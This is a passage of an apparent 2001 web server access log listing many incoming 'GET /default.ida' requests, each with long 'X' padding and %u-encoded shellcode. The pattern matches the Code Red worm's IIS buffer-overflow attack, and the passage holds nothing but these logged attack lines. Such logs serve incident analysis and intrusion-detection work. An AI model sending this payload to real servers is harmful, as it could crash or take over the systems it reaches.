/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 13:08:43: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 14:00:57: syed.resnet.tamu.edu [128.194.20.189] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 14:04:13: r118183.res.Lehigh.EDU [128.180.118.183] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 14:45:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 15:07:11: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 15:31:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 15:49:40: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 16:46:48: [202.31.150.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 17:21:18: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 17:32:34: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 17:50:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:08: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:09: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:12: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:17: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:18: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:18: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:20: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:20: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:21: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:22: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:07:28: cc719395-a.lvngst1.md.home.com [65.1.140.108] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:09:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:13:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:29:45: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:46:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 18:51:10: dhcp-128-194-24-114.resnet.tamu.edu [128.194.24.114] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 19:00:36: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 19:00:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 19:51:19: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 19:53:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 19:53:38: joweeba.resnet.tamu.edu [128.194.53.111] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 20:01:22: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 20:01:22: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 20:08:07: [128.134.249.22] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 20:23:24: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 20:36:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:00:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 21:19:19: bus205-176.gsb.columbia.edu [128.59.205.176] "GET 